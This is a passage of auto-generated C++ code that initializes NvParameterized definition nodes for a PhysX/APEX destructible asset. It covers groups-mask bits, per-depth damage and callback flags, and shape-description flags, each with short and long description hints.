#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=48, longName="destructibleParameters.dynamicChunksGroupsMask.useGroupsMask"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[48];
ParamDef->init("useGroupsMask", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Whether or not the groupsMask should be used. If so, then this will be applied to all NxShapes\n created to represent this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Whether or not the groupsMask should be used", true);
ParamDefTable[48].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=49, longName="destructibleParameters.dynamicChunksGroupsMask.bits0"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[49];
ParamDef->init("bits0", TYPE_U32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "If useGroupsMask is true, this is bits0 of the groups mask. See the PhysX documentation for more on groups masks.", true);
HintTable[1].init("shortDescription", "bits0 of the groups mask", true);
ParamDefTable[49].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=50, longName="destructibleParameters.dynamicChunksGroupsMask.bits1"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[50];
ParamDef->init("bits1", TYPE_U32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "If useGroupsMask is true, this is bits1 of the groups mask. See the PhysX documentation for more on groups masks.", true);
HintTable[1].init("shortDescription", "bits1 of the groups mask", true);
ParamDefTable[50].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=51, longName="destructibleParameters.dynamicChunksGroupsMask.bits2"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[51];
ParamDef->init("bits2", TYPE_U32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "If useGroupsMask is true, this is bits2 of the groups mask. See the PhysX documentation for more on groups masks.", true);
HintTable[1].init("shortDescription", "bits2 of the groups mask", true);
ParamDefTable[51].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=52, longName="destructibleParameters.dynamicChunksGroupsMask.bits3"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[52];
ParamDef->init("bits3", TYPE_U32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "If useGroupsMask is true, this is bits3 of the groups mask. See the PhysX documentation for more on groups masks.", true);
HintTable[1].init("shortDescription", "bits3 of the groups mask", true);
ParamDefTable[52].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=53, longName="depthParameters"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[53];
ParamDef->init("depthParameters", TYPE_ARRAY, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Parameters that apply to every chunk at a given level (see NxDestructibleDepthParameters)\nthe element [0] of the array applies to the level 0 (unfractured) chunk, element [1] applies\nto the level 1 chunks, etc.\n", true);
HintTable[1].init("shortDescription", "Parameters that apply to every chunk at a given level (see NxDestructibleDepthParameters).", true);
ParamDefTable[53].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
ParamDef->setArraySize(-1);
}
// Initialize DefinitionImpl node: nodeIndex=54, longName="depthParameters[]"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[54];
ParamDef->init("depthParameters", TYPE_STRUCT, "DestructibleDepthParameters", true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Parameters that apply to every chunk at a given level (see NxDestructibleDepthParameters)\nthe element [0] of the array applies to the level 0 (unfractured) chunk, element [1] applies\nto the level 1 chunks, etc.\n", true);
HintTable[1].init("shortDescription", "Parameters that apply to every chunk at a given level (see NxDestructibleDepthParameters).", true);
ParamDefTable[54].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=55, longName="depthParameters[].OVERRIDE_IMPACT_DAMAGE"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[55];
ParamDef->init("OVERRIDE_IMPACT_DAMAGE", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Chunks at this hierarchy depth level will take impact damage iff OVERRIDE_IMPACT_DAMAGE_VALUE = TRUE, no matter the setting of impactDamageDefaultDepth.\n", true);
HintTable[1].init("shortDescription", "If true, chunks at this hierarchy depth level will take impact damage iff OVERRIDE_IMPACT_DAMAGE_VALUE = TRUE, no matter the setting of impactDamageDefaultDepth.", true);
ParamDefTable[55].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=56, longName="depthParameters[].OVERRIDE_IMPACT_DAMAGE_VALUE"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[56];
ParamDef->init("OVERRIDE_IMPACT_DAMAGE_VALUE", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "If OVERRIDE_IMPACT_DAMAGE = TRUE, chunks at this hierarchy depth level will take impact damage iff OVERRIDE_IMPACT_DAMAGE_VALUE = TRUE.\n", true);
HintTable[1].init("shortDescription", "If OVERRIDE_IMPACT_DAMAGE = TRUE, chunks at this hierarchy depth level will take impact damage iff OVERRIDE_IMPACT_DAMAGE_VALUE = TRUE.", true);
ParamDefTable[56].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=57, longName="depthParameters[].IGNORE_POSE_UPDATES"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[57];
ParamDef->init("IGNORE_POSE_UPDATES", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Chunks at this depth should have pose updates ignored.\n", true);
HintTable[1].init("shortDescription", "Chunks at this depth should have pose updates ignored.", true);
ParamDefTable[57].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=58, longName="depthParameters[].IGNORE_RAYCAST_CALLBACKS"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[58];
ParamDef->init("IGNORE_RAYCAST_CALLBACKS", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Chunks at this depth should be ignored in raycast callbacks.\n", true);
HintTable[1].init("shortDescription", "Chunks at this depth should be ignored in raycast callbacks.", true);
ParamDefTable[58].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=59, longName="depthParameters[].IGNORE_CONTACT_CALLBACKS"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[59];
ParamDef->init("IGNORE_CONTACT_CALLBACKS", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Chunks at this depth should be ignored in contact callbacks.\n", true);
HintTable[1].init("shortDescription", "Chunks at this depth should be ignored in contact callbacks.", true);
ParamDefTable[59].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=60, longName="depthParameters[].USER_FLAG_0"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[60];
ParamDef->init("USER_FLAG_0", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "User defined flag.\n", true);
HintTable[1].init("shortDescription", "User defined flag.", true);
ParamDefTable[60].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=61, longName="depthParameters[].USER_FLAG_1"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[61];
ParamDef->init("USER_FLAG_1", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "User defined flag.\n", true);
HintTable[1].init("shortDescription", "User defined flag.", true);
ParamDefTable[61].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=62, longName="depthParameters[].USER_FLAG_2"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[62];
ParamDef->init("USER_FLAG_2", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "User defined flag.\n", true);
HintTable[1].init("shortDescription", "User defined flag.", true);
ParamDefTable[62].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=63, longName="depthParameters[].USER_FLAG_3"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[63];
ParamDef->init("USER_FLAG_3", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "User defined flag.\n", true);
HintTable[1].init("shortDescription", "User defined flag.", true);
ParamDefTable[63].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=64, longName="shapeDescTemplate"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[64];
ParamDef->init("shapeDescTemplate", TYPE_STRUCT, "ShapeDescTemplate", true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
static HintImpl HintTable[1];
static Hint* HintPtrTable[1] = { &HintTable[0], };
HintTable[0].init("editorDisplay", "false", true);
ParamDefTable[64].setHints((const NvParameterized::Hint**)HintPtrTable, 1);
#else
static HintImpl HintTable[3];
static Hint* HintPtrTable[3] = { &HintTable[0], &HintTable[1], &HintTable[2], };
HintTable[0].init("editorDisplay", "false", true);
HintTable[1].init("longDescription", "Contains the parameters the application can override on any actor shapes created.", true);
HintTable[2].init("shortDescription", "Contains the parameters the application can override on any actor shapes created", true);
ParamDefTable[64].setHints((const NvParameterized::Hint**)HintPtrTable, 3);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=65, longName="shapeDescTemplate.flags"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[65];
ParamDef->init("flags", TYPE_STRUCT, "ShapeDescFlags", true);
}
// Initialize DefinitionImpl node: nodeIndex=66, longName="shapeDescTemplate.flags.NX_TRIGGER_ON_ENTER"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[66];
ParamDef->init("NX_TRIGGER_ON_ENTER", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Trigger callback will be called when a shape enters the trigger volume. This flag is applied to all\n NxShapes generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Trigger callback will be called when a shape enters the trigger volume.", true);
ParamDefTable[66].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=67, longName="shapeDescTemplate.flags.NX_TRIGGER_ON_LEAVE"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[67];
ParamDef->init("NX_TRIGGER_ON_LEAVE", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Trigger callback will be called after a shape leaves the trigger volume. This flag is applied to all\n NxShapes generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Trigger callback will be called after a shape leaves the trigger volume.", true);
ParamDefTable[67].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=68, longName="shapeDescTemplate.flags.NX_TRIGGER_ON_STAY"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[68];
ParamDef->init("NX_TRIGGER_ON_STAY", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Trigger callback will be called while a shape is intersecting the trigger volume. This flag is applied to all\n NxShapes generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Trigger callback will be called while a shape is intersecting the trigger volume.", true);
ParamDefTable[68].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=69, longName="shapeDescTemplate.flags.NX_SF_VISUALIZATION"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[69];
ParamDef->init("NX_SF_VISUALIZATION", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Enable debug renderer for shapes. This flag is applied to all\n NxShapes generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Enable debug renderer for shapes", true);
ParamDefTable[69].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=70, longName="shapeDescTemplate.flags.NX_SF_DISABLE_COLLISION"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[70];
ParamDef->init("NX_SF_DISABLE_COLLISION", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Disable collision detection for shapes (counterpart of NX_AF_DISABLE_COLLISION). This flag is applied to all\n NxShapes generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Disable collision detection for shapes (counterpart of NX_AF_DISABLE_COLLISION)", true);
ParamDefTable[70].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=71, longName="shapeDescTemplate.flags.NX_SF_FEATURE_INDICES"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[71];
ParamDef->init("NX_SF_FEATURE_INDICES", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Enable feature indices in contact stream. This flag is applied to all\n NxShapes generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Enable feature indices in contact stream.", true);
ParamDefTable[71].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=72, longName="shapeDescTemplate.flags.NX_SF_DISABLE_RAYCASTING"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[72];
ParamDef->init("NX_SF_DISABLE_RAYCASTING", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Disable raycasting for shapes. This flag is applied to all\n NxShapes generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Disable raycasting for shapes", true);
ParamDefTable[72].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=73, longName="shapeDescTemplate.flags.NX_SF_POINT_CONTACT_FORCE"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[73];
ParamDef->init("NX_SF_POINT_CONTACT_FORCE", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Enable contact force reporting per contact point in contact stream (otherwise we only report force per actor pair). This flag is applied to all\n NxShapes generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Enable contact force reporting per contact point in contact stream (otherwise we only report force per actor pair)", true);
ParamDefTable[73].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=74, longName="shapeDescTemplate.flags.NX_SF_FLUID_DRAIN"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[74];
ParamDef->init("NX_SF_FLUID_DRAIN", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Sets a shape to be a fluid drain. This flag is applied to all\n NxShapes generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Sets a shape to be a fluid drain.", true);
ParamDefTable[74].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=75, longName="shapeDescTemplate.flags.NX_SF_FLUID_DISABLE_COLLISION"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[75];
ParamDef->init("NX_SF_FLUID_DISABLE_COLLISION", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Disable collision with fluids. This flag is applied to all\n NxShapes generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Disable collision with fluids.", true);
ParamDefTable[75].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=76, longName="shapeDescTemplate.flags.NX_SF_FLUID_TWOWAY"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[76];
ParamDef->init("NX_SF_FLUID_TWOWAY", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Enables the reaction of a shapes actor on fluid collision. This flag is applied to all\n NxShapes generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Enables the reaction of a shapes actor on fluid collision.", true);
ParamDefTable[76].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=77, longName="shapeDescTemplate.flags.NX_SF_DISABLE_RESPONSE"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[77];
ParamDef->init("NX_SF_DISABLE_RESPONSE", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Disable collision response for shapes (counterpart of NX_AF_DISABLE_RESPONSE). This flag is applied to all\n NxShapes generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Disable collision response for shapes (counterpart of NX_AF_DISABLE_RESPONSE)", true);
ParamDefTable[77].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=78, longName="shapeDescTemplate.flags.NX_SF_DYNAMIC_DYNAMIC_CCD"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[78];
ParamDef->init("NX_SF_DYNAMIC_DYNAMIC_CCD", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Enable dynamic-dynamic CCD for shapes. Used only when CCD is globally enabled and shape have a CCD skeleton. This flag is applied to all\n NxShapes generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Enable dynamic-dynamic CCD for shapes. Used only when CCD is globally enabled and shape have a CCD skeleton.", true);
ParamDefTable[78].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=79, longName="shapeDescTemplate.flags.NX_SF_DISABLE_SCENE_QUERIES"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[79];
ParamDef->init("NX_SF_DISABLE_SCENE_QUERIES", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Disable participation in ray casts, overlap tests and sweeps. This flag is applied to all\n NxShapes generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Disable participation in ray casts, overlap tests and sweeps.", true);
ParamDefTable[79].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=80, longName="shapeDescTemplate.flags.NX_SF_CLOTH_DRAIN"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[80];
ParamDef->init("NX_SF_CLOTH_DRAIN", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Sets a shape to be a cloth drain. This flag is applied to all\n NxShapes generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Sets a shape to be a cloth drain.", true);
ParamDefTable[80].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=81, longName="shapeDescTemplate.flags.NX_SF_CLOTH_DISABLE_COLLISION"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[81];
ParamDef->init("NX_SF_CLOTH_DISABLE_COLLISION", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Disable collision with cloths. This flag is applied to all\n NxShapes generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Disable collision with cloths.", true);
ParamDefTable[81].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=82, longName="shapeDescTemplate.flags.NX_SF_CLOTH_TWOWAY"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[82];
ParamDef->init("NX_SF_CLOTH_TWOWAY", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Enables the reaction of a shapes actor on cloth collision. This flag is applied to all\n NxShapes generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Enables the reaction of a shapes actor on cloth collision.", true);
ParamDefTable[82].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=83, longName="shapeDescTemplate.flags.NX_SF_SOFTBODY_DRAIN"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[83];
ParamDef->init("NX_SF_SOFTBODY_DRAIN", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Sets a shape to be a soft body drain. This flag is applied to all\n NxShapes generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Sets a shape to be a soft body drain.", true);
ParamDefTable[83].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=84, longName="shapeDescTemplate.flags.NX_SF_SOFTBODY_DISABLE_COLLISION"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[84];
ParamDef->init("NX_SF_SOFTBODY_DISABLE_COLLISION", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Disable collision with soft bodies. This flag is applied to all\n NxShapes generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Disable collision with soft bodies.", true);
ParamDefTable[84].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=85, longName="shapeDescTemplate.flags.NX_SF_SOFTBODY_TWOWAY"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[85];
ParamDef->init("NX_SF_SOFTBODY_TWOWAY", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Enables the reaction of a shape's actor on soft body collision. This flag is applied to all\n NxShapes generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Enables the reaction of a shape's actor on soft body collision.", true);
